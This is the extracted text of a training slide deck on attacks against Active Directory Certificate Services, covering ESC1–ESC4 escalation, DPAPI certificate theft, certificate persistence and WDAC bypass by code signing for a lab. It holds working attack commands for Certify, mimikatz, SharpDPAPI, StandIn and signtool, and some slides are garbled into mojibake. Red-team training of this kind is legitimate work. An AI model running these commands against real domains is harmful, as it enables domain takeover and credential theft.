https://github.com/OpenVPN/openvpn/blob/master/sample/sample-config-
files/client.conf



99AlteredSecurity

OpenVPN - Abuse

Åovpnfile could be of much interest as they may contain Private key of a 
client to provide password-less experience (server configuration must 
support that). 

ÅWith access to any such config file, we can connect to a protected or a 
private network. 

ÅLook for ovpnfiles in %USERPROFILE%/OpenVPN/Config and 
%PROGRAMFILES%/OpenVPN/Config directories. 

AD CS Attacks © Altered Security All rights reserved
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Learning Objective - 4

ÅSearch for certificate files on disk of cb - store (THEFT4).

ÅGain access to the protectedcb.corp forest byusing the VPN certificate and 
configuration found on cb-store.

Topics Covered ςTheft and Collection (THEFT4)
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Module 10: AD CS Domain PrivilegeEscalation 
(ESC1)
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AD CS Domain Privesc ς Modified SAN (ESC1)

ÅWe can escalate to higher domain privileges using ESC1 when the following 
conditions are present on a template:
ïSmart Card Logon --> 1.3.6.1.4.1.311.20.2.2/PKINIT authentication --> 1.3.6.1.5.2.3.4/Client 

Authentication --> 1.3.6.1.5.5.7.3.2EKU is enabled for AD Authentication.

ïEnrollment Rightsare enabled for a user that we control.

ïENROLLEE_SUPPLIES_SUBJECTattribute is enabled: allows the certificate requestor tospecify 
anysubjectAltName(SAN) to request a certificate as any user including a Domainor Enterprise 
Administrator. 

ÅTarget that user(s) that are required to complete goals of your operation or 
assessment. Domain Admin logons are more susceptible to detection.

AD CS Attacks © Altered Security All rights reserved



103AlteredSecurity

AD CS Domain Privesc ς ESC1 + CBA Patch Bypass

ÅBecause of the CBA patch in Full Enforcement mode in the lab, when a request for 
ENROLLEE_SUPPLIES_SUBJECT certificate for an alternate user is made, the SID 
within the szOID_NTDS_CA_SECURITY_EXTextension is checked against the SID of 
the target user.

ÅStandard ESC1 abuse would break if there is no match with the SID of the target 
user. 
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AD CS Domain Privesc ς ESC1 + CBA Patch Bypass

ÅCertify has incorporated a specific Pull Request with the /sidextensionargument, 
and Certipytoo has a Pull Request implementing the -extensionsidargument.

ÅThese versions of Certify/Certipybuild the szOID_NTDS_CA_SECURITY_EXT
extension with a supplied SID to include it with a certificate request for a template 
with ENROLLEE_SUPPLIES_SUBJECT flag enabled. 

ÅAn example to abuse ESC1 bypassing the CBA patch using Certify is as follows:

AD CS Attacks © Altered Security All rights reserved

Certify.exe request /ca:cbp-dc.protectedcb.corp\CBP-CA /template:ProtectedUserAccess/altname:administrator
/sidextension:S-1-5-21-1286082170-882298176-404569034-500 /domain:protectedcb.corp

Certify /sidextensionPR 
Github: https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d077015
4464f44da356ca42
Certipy-extensionsidPR Github: https://github.com/RazzburyPi/Certipy

https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42
https://github.com/GhostPack/Certify/commit/71636c435f2e5e7d8d0770154464f44da356ca42
https://github.com/RazzburyPi/Certipy
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Learning Objective - 5

ÅGain Domain User access as protectedcb \ protecteduser to protectedcb.corp .

ÅExploit ESC1 and compromise the protectedcb.corp domain.

Topics Covered ςDomain Privilege Escalation (ESC1)

AD CS Attacks © Altered Security All rights reserved



Module 11: AD CS Domain PrivilegeEscalation 
(ESC2) and Local Persistence (PERSIST3)
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ADCS Domain PrivescςModifiable SAN (ESC2)

ÅESC2 is very similar to the ESC1 abuse in which the following conditions must be met 
on a template:
ïAny Purpose EKU --> 2.5.29.37.0or no EKU is isenabled for AD Authentication.

ïEnrollment Rightsare enabled for a user that we control.

ïENROLLEE_SUPPLIES_SUBJECT attributeis enabled.

ÅThe only difference between ESC1 and ESC2 is the difference in EKUs. 

ÅThe Any Purpose EKU primarily allows an attacker to get a certificate for any 
purpose like Client Authentication, Server Authentication, Code Signing, etc. 
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ADCS Domain PrivescςModifiable SAN (ESC2)

ÅA certificate with no EKUs (SubCAŎŜǊǘƛŦƛŎŀǘŜύ Ŏŀƴ ōŜ ŀōǳǎŜŘ ŦƻǊ ŀƴȅ ǇǳǊǇƻǎŜ ŀǎ ǿŜƭƭΦ 
It could also be used to sign new certificates. 

ÅAn example to abuse ESC2 (Any Purpose EKU) bypassing the CBA patch using Certify 
is as follows:
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Certify.exe request /ca:cbp-dc.protectedcb.corp\CBP-CA /template:'Substitute-ProtectedUserAccess' 
/altname:administrator /sidextension:S-1-5-21-1286082170-882298176-404569034-500 
/domain:protectedcb.corp
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AD CS Local Persistence ςCertificate Renewal 
(PERSIST3)

ÅWe can renew compromised/requested certificates before they expire. Note the 
Validity Period of a certificate!

ÅThis can function as an extended persistence approach that prevents additional 
ticket enrollments from being requested, which leave additional artifacts on the CA 
server.

AD CS Attacks © Altered Security All rights reserved
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AD CS Local Persistence ςCertificate Renewal 
(PERSIST3)

ÅAn example to renew a certificate using certreq using its Serial Number is as follows:

ÅAn example to renew a certificate and generate a new key using certreq with its 
Serial Number is as follows:
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certreq-enroll -user -q -PolicyServer* -cert 620000001238d3cbef14353a19000000000012 renew reusekeys

certreq-enroll -user -q -cert 620000001238d3cbef14353a19000000000012 renew
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Learning Objective - 6

ÅUse Domain User access as protectedcb \ protecteduser to exploit ESC2 and 
compromise the protectedcb.corp forest.

ÅRenew the ESC2 certificate (due to expire soon) - used to compromise the 
protectedcb.corp forest - to maintain Local and Domain Persistence.

Topics Covered ςDomain Privilege Escalation (ESC2), Persistence (PERSIST3)
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Module 12: AD CS Theft (THEFT2 
and THEFT3)
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AD CS Theft ς  Data Protection Application 
Programming Interface (DPAPI)

ÅData Protection API (DPAPI) provides the means for encrypting and decrypting 
(CryptProtectData() andCryptUnprotectData()) data blobs using cryptographic keys 
associated with user or computer accounts. 

ÅDPAPI is useful protecting data like Browser Cookies, Login Data, Windows 
Credential Manager, Vault and certificates/private keys.

ÅDPAPI is also used to protect certificate private keys. Different storage locations are 
used for user and machine private keys. 
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CryptProtectData() MSDN:https://docs.microsoft.com/en-
us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata
CryptUnprotectData() MSDN:https://docs.microsoft.com/en-
us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata

https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
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AD CS Theft ς User Certificate Theft with DPAPI 
(THEFT2)

ÅTo obtain a user certificate and its private key using DPAPI manually, we need to:
ïaŀǇ ǘƘŜ ǘŀǊƎŜǘ ŎŜǊǘƛŦƛŎŀǘŜ ƛƴ ǘƘŜ ǳǎŜǊΩǎ ŎŜǊǘƛŦƛŎŀǘŜ ǎǘƻǊŜ ŀƴŘ ƎŜǘ ǘƘŜ ƪŜȅ ǎǘƻǊŜ ƴŀƳŜΦ

ïFind and Extract theDPAPI masterkeyneeded to decrypt the associated private key.

ïCombine the private key and certificate to a .pfx to use for domainauthentication.

ÅSome useful registry entries to note for user certificates and private keys are:
ïCertificates: HKEY_CURRENT_USER\ SOFTWARE\ Microsoft \ SystemCertificates ; 

%APPDATA%\ Microsoft \ SystemCertificates \ My\ Certificates \

ïPrivate Keys: %APPDATA%\ Microsoft \ Crypto \ RSA\ <User SID> \  
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AD CS Theft ς User Certificate Theft with DPAPI 
(THEFT2)

ÅTo obtain a specific DPAPI masterkeyin plaintext (using mimikatz) we can perform 
one of the following:
1. hƴŜ ǿŀȅ ǘƻ Řƻ ǘƘƛǎ ƛǎ ǳǎƛƴƎ ŀ ŘƻƳŀƛƴΩǎ 5t!tL ōŀŎƪǳǇ ƪŜȅΦ ¢Ƙƛǎ ƪŜȅ Ŏŀƴ ŘŜŎǊȅǇǘ ŀƴȅ ŘƻƳŀƛƴ 
ǳǎŜǊΩǎ masterkeyfile. If an adversary obtains domain admin (or equivalent) privileges, the 
domain backup key can be stolen and used to decrypt any domain user masterkeyin plaintext.

2. Another way is to decrypt the masterkeyusing the corresponding user's password.

ÅAn example command to use SharpDPAPIto decrypt discoverable masterkeysusing 
the domain backup key is as follows:
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SharpDPAPI.exe certificates /pvk:HvL1sAAAAAAXAAAAAAAAAAAAAACU......

SharpDPAPI Github: https://github.com/GhostPack/SharpDPAPI

https://github.com/GhostPack/SharpDPAPI
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AD CS Theft ς Machine Certificate Theft with DPAPI 
(THEFT3)

ÅThis is like THEFT2 except that we target the Machine certificate store. We cannot 
use the domain DPAPI backup key to decrypt Machine Keys. 

ÅWe need to use the DPAPI_SYSTEM LSA secret on the target machine which is 
accessible only to the SYSTEM user.

ÅSome useful registry entries to note for Machine certificates and private keysare:
ïCertificates: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft \ SystemCertificates ; 

%APPDATA%\ Microsoft \ Crypto \ RSA\ MachineKeys

ïPrivate Keys: %APPDATA%\Microsoft\Crypto\RSA\MachineKeys
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AD CS Theft ς Machine Certificate Theft with DPAPI 
(THEFT3)

ÅAn example command for extracting Machine certificate abusing DPAPI (using
mimikatz) is as follows:

ÅTo perform the same automatically using SharpDPAPIwe can use the following 
command:
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lsadump::secrets
crypto::certificates /export /systemstore:LOCAL_MACHINE

SharpDPAPI.exe certificates /machine
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Learning Objective - 7

ÅOn cb - store , steal a certificate from a User Certificate Store using DPAPI (THEFT3).

Topics Covered ςTheft and Collection (THEFT3)
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Module 13: AD CS Domain PrivilegeEscalation 
(ESC4) and Local Persistence (PERSIST2)
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AD CS Domain Privesc ς Vulnerable Certificate 
Template ACEs (ESC4)

ÅLike so many other things in Windows world, certificate templates are securable 
objects - they have ACLs. 

ÅA certificate template that has overly permissive ACLs can be abused to modify 
security settings of the template to introduce misconfigurations like ESC1, ESC2, 
ESC3 etc. - this is ESC4!

ÅThe following rights are critical to abuse:
ïOwner- Full Control

ïFullControl- Full Control

ïWriteOwner - Modify Owner for grant Full Control

ïWriteDacl- Modify access control for grant FullControl

ïWriteProperty - Edit any properties

AD CS Attacks © Altered Security All rights reserved

Microsoft Blog discussing ACL rights: https://devblogs.microsoft.com/powershell-
community/understanding-get-acl-and-ad-drive-output/
Page 62 - https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-
Owned.pdf

https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/
https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/
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AD CS Domain Privesc ς Vulnerable Certificate 
Template ACEs (ESC4)

Å If we have WritePropertyor equivalent privileges over a template, some example 
commands to configure the ESC1 vulnerability over it using StandIn:

ïENROLLEE_SUPPLIES_SUBJECT:

ïCertificate-Enrollment Permission:

ïClient Authentication EKU:
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StandIn_v13_Net45.exe --ADCS --filter SecureUpdate--ess--add

StandIn_v13_Net45.exe --ADCS --filter SecureUpdate--ntaccount
"cb\domain users" --enroll --add

StandIn_v13_Net45.exe --ADCS --filter  SecureUpdate--clientauth--add

StandInGithub: https://github.com/FuzzySecurity/StandIn

https://github.com/FuzzySecurity/StandIn
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AD CS Domain Privesc ς Abusing ESC4 with 
SmartCardLogon EKU

ÅWe can also abuse ESC4 using a few other EKUs other than the Client Authentication 
EKU.
ïSmart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)

ïPKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)

ïAny Purpose (OID: 2.5.29.37.0)

ïNo EKU

ÅBy configuring theSmart Card Logon EKU, we can impersonate any user byenrolling 
for asmartcard logon certificatefor that user. 

Å If smartcards are notin used in the target environment, we can usevirtual 
smartcardsto authenticate.
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AD CS Domain Privesc ς Abusing ESC4 with 
SmartCardLogon EKU

ÅWe can use theSmartCardLogonEKUto abuse ESC1, ESC2, ESC3 etc.

ÅStandInand Certipyonly allows adding the Client Authentication EKU for ESC1 
abuse. 

ÅAn example for SmartCardLogonESC4 Abuse using /ŜǊǘƛŦȅYƛǘΩǎ/alter option is as 
follows:
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CertifyKit.exe request /ca:cb-ca.cb.corp\CB-CA /template:'SecureUpdate' /altname:administrator
/domain:cb.corp/alter /sidextension:S-1-5-21-2928296033-1822922359-262865665-500

CertifyKitgithub: https://github.com/Hagrid29/CertifyKit
PoshADCSgithub: https://github.com/cfalta/PoshAD CS

https://github.com/Hagrid29/CertifyKit
https://github.com/cfalta/PoshADCS
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AD CS Local Persistence ς Machine Account 
(PERSIST2)

ÅWith SYSTEM rights on a domain joined machine and enrollment rights to a 
certificate template with Client Authentication EKU, we can request a certificate for 
the machine account that will be valid even if there is a password change, system 
wipe etc. 

ÅAn example command to request a machine certificate using Certify is as follows:

ÅDC account can be targeted after DA priv escalation, since with its privileges itis 
possible toDCSyncor perform aS4U2Self attackto ultimately compromise the 
entire domain.
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Certify.exe request /ca:cb-ca.cb.corp\CB-CA /template:DomainController/machine



125AlteredSecurity

Learning Objective - 8

ÅFind a template vulnerable to alteration (ESC4) by the cb \ certstore user..

ÅUse this template to gain DA privileges.

ÅUse this vulnerable template to maintain Machine Account Persistence (PERSIST2).

Topics Covered ςDomain Privilege Escalation (ESC4), Local Persistence (PERSIST2)
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Learning Objective - 9

ÅAbuse the previously enumerated SecureUpdate template to gain EA privileges 
using the SmartCardLogonEKU.

Topics Covered ςDomain Privilege Escalation (ESC4)
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Module 14: AD CS Domain PrivilegeEscalation 
(ESC3)
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AD CS Domain Privesc ς Agent Certificate + Enroll on 
Behalf of Another User (ESC3)

For ESC3 we require 2 certificate templates with the following configuration:

ÅTemplate 1: Provides Enrollment Agent Certificate
ïCertificate Request Agent EKU --> 1.3.6.1.4.1.311.20.2.1is enabled.

ïEnrollment Rightsare enabled for a user that we control.

ÅTemplate 2: Allows Enrollment Agent Certificate to use on-behalf-of
ïClient Authentication EKU --> 1.3.6.1.5.5.7.3.2is enabled.

ïApplication Policy Issuance Requirementwith Authorized SignaturesRequiredenabled and set 
to 1 along withCertificate Request AgentEKUenabled.

ïEnrollment Rightsare enabled for a user that we control.
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AD CS Domain Privesc ς Agent Certificate + Enroll on 
Behalf of Another User (ESC3)

ÅThe Certificate Request Agent EKUakaEnrollmentAgentallows a principal to 
request a certificateon behalf ofanother user.

ÅWe can enroll in such a template that has the Certificate Request Agent EKUset 
(Template 1) to receive an Enrollment Agent Certificate.

ÅUse the Enrollment Agent certificate to enroll in a template (Template 2)on behalf 
of another user:
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Certify.exe request /ca:cb-ca.cb.corp\CB-CA /template:StoreDataRecovery-Agent/user:certstore
/domain:cb.corp

Certify.exe request /ca:cb-ca.cb.corp\CB-CA /template:StoreDataRecovery/onbehalfof:certbulk\administrator 
/enrollcert:'C:\certs\esc3-enrollmentAgent.pfx' /enrollcertpw:'Passw0rd!' /domain:certbulk.cb.corp
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Learning Objective - 10

ÅOn CB- CA, enumerate two templates vulnerableto the Agent Certificate + Enroll on 
Behalf of Another User (ESC3)vulnerability.

ÅUse the cb \ certstore privileges gained in the previous objectives to abuse these 
templates using ESC3 to:
ïEscalate to DA privileges (certbulk.cb.corp ).

ïEscalate to EA privileges (cb.corp ).

Topics Covered ςDomain Privilege Escalation (ESC3)
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Module 15: AD CS Domain PrivilegeEscalation 
(Code Signing)
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WDAC

ÅWindows Defender Application Control (WDAC), formerly known as Device Guard,  is 
ƻƴŜ ƻŦ aƛŎǊƻǎƻŦǘΩǎ ŀƭƭƻǿƭƛǎǘƛƴƎ ǎƻƭǳǘƛƻƴǎΦ 

Å²5!/ άŀƭƭƻǿǎ ƻǊƎŀƴƛȊŀǘƛƻƴǎ ǘƻ ŎƻƴǘǊƻƭ ǿƘƛŎƘ ŘǊƛǾŜǊǎ ŀƴŘ ŀǇǇƭƛŎŀǘƛƻƴǎ ŀǊŜ ŀƭƭƻǿŜŘ ǘƻ 
Ǌǳƴ ƻƴ ǘƘŜƛǊ ²ƛƴŘƻǿǎ ŎƭƛŜƴǘǎέΦ 

ÅLǘ ŀƭƭƻǿǎ ƻƴƭȅ Ψƪƴƻǿƴ ƎƻƻŘ ŎƻŘŜΩ ǘƻ Ǌǳƴ ŀƴŘ ǇǊŜǾŜƴǘǎ ǘƘŜ ŜȄŜŎǳǘƛƻƴ ƻŦ ǳƴǘǊǳǎǘŜŘ 
code, drivers, and scripts.

ÅAll WDAC policies apply to the managed computer as a whole and affect all users 
on the device.
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WDAC and Applocker Microsoft docs: https://learn.microsoft.com/en-
us/windows/security/threat-protection/windows-defender-application-control/wdac-
and-applocker-overview

https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview
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ÅWDAC can be setuplocally(vulnerable to admin access) or usingGroup Policy 
(secure).

ÅAs per Microsoft docs, WDAC rules can be defined based on:
ïAttributes of the codesigning certificate used to sign an app and its binaries.

ïAttributes of the apps binaries that come from the signed metadata for the files, such as Original 
Filename and version, or the hash of the file.

ïThe reputation of the app as determined by Microsoft's Intelligent Security Graph.

ïThe identity of the process that initiated the installation of the app and its binaries.

ïThe path from which the app or file is launched. 

ïThe process that launched the app or binary.
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WDAC

WDAC local setup Microsoft docs:https://learn.microsoft.com/en-
us/windows/security/threat-protection/windows-defender-application-
control/deployment/deploy-wdac-policies-with-script
WDAC GPO setup Microsoft docs:https://learn.microsoft.com/en-
us/windows/security/threat-protection/windows-defender-application-
control/deployment/deploy-windows-defender-application-control-policies-using-
group-policy

https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-wdac-policies-with-script
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-wdac-policies-with-script
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-wdac-policies-with-script
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-windows-defender-application-control-policies-using-group-policy
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-windows-defender-application-control-policies-using-group-policy
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-windows-defender-application-control-policies-using-group-policy
https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/deployment/deploy-windows-defender-application-control-policies-using-group-policy
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WDAC

ÅWDAC example policies exist on Windows by default at: 
C: \ Windows \ schemas \ CodeIntegrity \ ExamplePolicies

ÅAn easy way to manage or edit WDAC policies is by using the WDAC Policy Wizard.

ÅWDAC once enforced puts a Policy Engine as a .p7b file at: 
C: \ Windows \ System32 \ CodeIntegrity

ÅA simple way to disable WDAC if setup locally is to delete the .p7b file and reboot 
the machine (needs admin privileges). 

ÅHowever, this wouldn't be applicable if WDAC was setup using GPO because the 
WDAC configuration is applied again on reboot.
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WDAC Policy Wizard:https://webapp-wdac-wizard.azurewebsites.net/

https://webapp-wdac-wizard.azurewebsites.net/
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Code Signing

ÅCode Signing ensures that files weren't tampered and are verified by a Trusted 
Authority. Microsoft implements this using Authenticode Signatures.

Å "Authenticode identifies the publisher of Authenticode-signed software. 
Authenticode also verifies that the software has not been tampered with since it 
was signed and published."

ÅA Code Signing certificate can be used to sign scripts, binaries, files etc. for trusted 
execution. A Code Signing template can be configured in AD CS to distribute and 
manage Code Signing certificates. For this the template requires:
ïCode Signing--> 1.3.6.1.5.5.7.3.3 EKUis enabled.
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Authenticode Signature Microsoft docs:https://learn.microsoft.com/en-us/windows-
hardware/drivers/install/authenticode

https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode
https://learn.microsoft.com/en-us/windows-hardware/drivers/install/authenticode


136AlteredSecurity

AD CS Domain Privesc ς Code Signing

ÅCode signing withWDAC User-Mode Code Integrity (UMCI)allows to validate user 
mode executablesand scripts based on their Certificate Signatures. 

ÅOnly signedcode from trusted publishers will be allowed to execute.

Å If we can compromise a Code Signing certificate trusted by WDAC, it would be 
possible to run such signed code (scripts, binaries etc.) on the target machine. 

ÅAn example to sign files using a Code Signing certificate with signtool(part of .NET 
framework) is as follows:
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signtool.exe sign /fd SHA256 /a /f C:\certs\SecureSigner.pfx /p 'Passw0rd!' CertStealer.exe

Blog showcasing Abusing Code Signing 
Certificates:https://axelarator.github.io/posts/codesigningcerts/?s=08

https://axelarator.github.io/posts/codesigningcerts/?s=08
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JEA

ÅάWǳǎǘ 9ƴƻǳƎƘ !ŘƳƛƴƛǎǘǊŀǘƛƻƴ όW9!ύ ƛǎ ŀ ǎŜŎǳǊƛǘȅ ǘŜŎƘƴƻƭƻƎȅ ǘƘŀǘ ŜƴŀōƭŜǎ ŘŜƭŜƎŀǘŜŘ 
ŀŘƳƛƴƛǎǘǊŀǘƛƻƴ ŦƻǊ ŀƴȅǘƘƛƴƎ ƳŀƴŀƎŜŘ ōȅ tƻǿŜǊ{ƘŜƭƭΦέ

ÅJEA provides a PowerShell Remoting endpoint with:
ҍVirtual accounts - temporary local accounts which are local admin on member machines and DA 

on DCs but no rights to manage resources on network. 

ҍAbility to limit the cmdlets and commands which a user can run through Role Capabilities. 

ÅLimits number of administrators and allows limited admin tasks to be done by non-
admins. 
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https://learn.microsoft.com/en-
us/powershell/scripting/learn/remoting/jea/overview
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JEA - Role Capability

ÅA JEA endpoint uses Role Capability to determine what someone can do in a JEA 
session. 

ÅMultiple options are available:
ïVisible PowerShell cmdlets and Parameters to allowed cmdlets

ïVisible external commands and scripts

ïVisible PowerShell Providers (FileSystem, Registry etc.)

ïPowerShell modules that will be automatically imported in the JEA session

ÅA poorly configured Role Capability (uses wildcard * in visible commands and/or 
allows commands that can be used to make changes - like net, Start-Process, Add-
LocalGroupMember etc.) may lead to compromise of the target machine as the 
commands run with admin privileges.
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https://learn.microsoft.com/en-
us/powershell/module/microsoft.powershell.core/new-psrolecapabilityfile
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JEA - Session Configuration

ÅA JEA endpoint is registered using a Session Configuration file. 

ÅMajor Session Configuration options:
ïWho has access to the JEA endpoint (Role definition)

ïName of the JEA endpoint

ï Identity used by JEA endpoint (virtual accounts, domain groups, local groups, gMSAs etc.)

ïPowerShell LanguageMode (only 8 helper cmdlets allowed in the NoLanguage Mode)

ÅA poorly configured Session Configuration (Overly permissive role definition, high 
privilege identity etc.) may lead to compromise of the target machine.

AD CS Attacks © Altered Security All rights reserved

https://learn.microsoft.com/en-
us/powershell/module/microsoft.powershell.core/new-pssessionconfigurationfile
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CredSSP

ÅCredSSPis (wrongly) used by organizations to address theKerberos double hop 
issue.

Å "CredSSPauthentication delegates user credentials from the client to a remote 
computer to further allow the remote computer to reuse the credentials to 
authenticate to a third computer." 

ÅHowever, it is not recommended to use CredSSPbecause if the machine is 
compromised credentials cached by CredSSPcan be extracted in clear-text.

Å In the lab CredSSPis configured on the cb - signsrv server. 
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CredSSPMicrosoft docs:https://learn.microsoft.com/en-
us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-
7.3
Kerberos Double Hop Issue:https://book.hacktricks.xyz/windows-hardening/active-
directory-methodology/kerberos-double-hop-problem

https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.3
https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.3
https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.3
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-double-hop-problem
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-double-hop-problem
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Learning Objective - 11

ÅGainPS Remotingaccess to cb - signsrv using certbulk \ studentadmin privileges.

ÅFind a suitable Code Signing certificate by searching on disk (THEFT4). 

ÅUse this Code Signing certificate to sign a tool to bypass WDAC and perform valid 
Code Execution to exfiltrate a certificate from (THEFT1) the User CertStore.

Topics Covered ςDomain Privilege Escalation (Code Signing), Theft and Collection (THEFT1 + THEFT4)
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Module 16: AD CS Domain Privilege Escalation 
(Encrypted File System)
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AD CS Domain Privesc ς Encrypted File System

Å "Encrypted File System (EFS) is a Microsoft technology that lets you encrypt data on 
your computer, and control who can decrypt, recover and view the data."

ÅEncrypting a file with EFS denies access to unauthorized users/an attacker who has 
access to the computers data even if the user is a high privilege user. 

ÅTo use EFS for encryption, an EFS certificate is required to be imported into the 
ŎǳǊǊŜƴǘ ǳǎŜǊΩǎ /ŜǊǘƛŦƛŎŀǘŜ {ǘƻǊŜ ŀƴŘ ǇŜǊƳƛǎǎƛƻƴ ǘƻ ƳƻŘƛŦȅ ǘƘŜ ǘŀǊƎŜǘ ŦƛƭŜ ƛǎ ǊŜǉǳƛǊŜŘΦ

ÅA recovery agent is required to read or recover data encrypted using EFS - The 
default DA is a recovery agent in a domain.
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Protecting Data by Using EFS Microsoft docs:https://learn.microsoft.com/en-
us/previous-versions/tn-archive/cc875821(v=technet.10)

https://learn.microsoft.com/en-us/previous-versions/tn-archive/cc875821(v=technet.10
https://learn.microsoft.com/en-us/previous-versions/tn-archive/cc875821(v=technet.10
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AD CS Domain Privesc ς Encrypted File System

ÅTwo types of certificates play a role in EFS:
ïEncrypting File System certificates --> 1.3.6.1.4.1.311.10.3.4: This type of certificate uses EFS to 

encrypt and decrypt data and is called as an EFS certificate. 

ïFile Recovery certificates --> 1.3.6.1.4.1.311.10.3.4.1: This type of certificate allows to recover all 
encrypted files and folders (domain or offline) no matter who encrypted them and is called as an 
EFS DRA (Data Recovery Agent) certificate. 

ÅMicrosoft details two methods to perform decryption operations:
ïRetrieve the originalEFS certificateused to encryptthe file and import it in the targetcomputer 

certificate store.

ïUse anEFS DRA certificateto restore an EFSencrypted file if the original EFS certificate used 
to encrypt the file is lost.
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Learning Objective 12

ÅGainadmin access to cb - signsrv using certbulk \ signadmin privileges.

ÅFind(THEFT4)and decrypt an EFS protected certificate on-disk which belongs to a 
high privileged user.

Topics Covered ςDomain Privilege Escalation (Encrypted File System), Theft and Collection (THEFT4)
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